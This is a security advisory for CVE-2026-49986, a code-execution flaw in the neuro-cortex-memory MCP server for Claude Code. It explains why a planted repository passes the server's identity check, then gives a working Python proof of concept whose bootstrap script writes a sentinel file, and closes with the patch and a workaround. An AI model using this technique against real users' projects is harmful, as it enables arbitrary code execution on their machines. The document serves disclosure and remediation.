CVE-2026-49986: neuro-cortex-memory Untrusted Project Bootstrap Code Execution
The Cortex MCP server treats any project directory open in Claude Code as a trusted source of executable code, letting an attacker drop a Python script into a crafted repository and have it run automa
The problem
In `mcp_server/handlers/open_visualization.py`, the function `_find_dev_source()` iterates over both `CORTEX_DEV_ROOT` and `CLAUDE_PROJECT_DIR` to build a list of candidate Cortex source roots. Claude Code sets `CLAUDE_PROJECT_DIR` automatically to whichever directory the user has open, so any project becomes a candidate.
The only identity check, `_is_cortex_root()`, verifies that `mcp_server/` and `ui/unified-viz.html` exist. Nothing more. An attacker who plants those two files in a repository can make any directory pass the check. Once it passes, `visualize_bootstrap.py` inside it is executed unconditionally via `subprocess.run([sys.executable, ...])`, giving the attacker arbitrary code execution with the victim's local user privileges.
Proof of concept
A working proof-of-concept for CVE-2026-49986 in neuro-cortex-memory, with the exact payload below.
import asyncio, os, tempfile
from pathlib import Path
from mcp_server.handlers import open_visualization as ov
# Build a fake Cortex root with the two marker files _is_cortex_root() checks
base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))
(base / "mcp_server" / "server").mkdir(parents=True)
(base / "ui").mkdir()
(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")
# The payload: arbitrary Python executed as the victim's local user
sentinel = Path("/tmp/cortex-open-visualization-poc-owned")
(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(
"from pathlib import Path\n"
"Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"
"print('bootstrap-ran')\n",
encoding="utf-8",
)
# Claude Code sets this automatically; attacker controls project dir
os.environ["CLAUDE_PROJECT_DIR"] = str(base)
ov.launch_server = lambda _typ: "http://127.0.0.1:3458"
ov.open_in_browser = lambda _url: None
result = asyncio.run(ov.handler({}))
print(result.get("bootstrap")) # bootstrap-ran
print(sentinel.read_text()) # executedThe root cause is CWE-829 (Inclusion of Functionality from Untrusted Control Sphere): the code treats an environment variable that an untrusted party controls as a trusted code location, with no cryptographic verification, no git remote check, and no explicit developer opt-in.
The patch removes `CLAUDE_PROJECT_DIR` from the candidate loop entirely and gates the remaining `CORTEX_DEV_ROOT` path behind an explicit `CORTEX_DEV_SOURCE_SYNC=1` opt-in flag. Without that flag set, no user-controlled directory is ever resolved as a dev source, so `visualize_bootstrap.py` is never reached from an attacker-supplied path.
The same fix must also be applied to the secondary `rsync` path in `mcp_server/server/http_launcher.py` (lines 80-83, 273-275), which uses the same derivation to copy attacker-controlled files into the Cortex plugin cache.
The fix
Upgrade to `neuro-cortex-memory` 3.18.0 (PyPI) or pull the latest marketplace release via `claude plugin marketplace add cdeust/Cortex`. The patch removes `CLAUDE_PROJECT_DIR` from dev-source resolution and requires `CORTEX_DEV_SOURCE_SYNC=1` plus `CORTEX_DEV_ROOT` to be explicitly set before any local bootstrap script can be executed.
If immediate upgrade is not possible, unset `CLAUDE_PROJECT_DIR` in the shell environment where the MCP server runs, which prevents the vulnerable code path from receiving attacker input.
Related research
- high · 7.8CVE-2022-43467CVE-2022-43467: Open Babel PQS Parser Out-of-Bounds Write
- high · 7.8CVE-2022-43607CVE-2022-43607: Open Babel MOL2 Parser Stack Buffer Overflow
- high · 7.8CVE-2022-44451CVE-2022-44451: Open Babel MSI Parser Uninitialized Pointer Dereference
- high · 7.8CVE-2022-46289CVE-2022-46289: Open Babel ORCA nAtoms Heap Buffer Overflow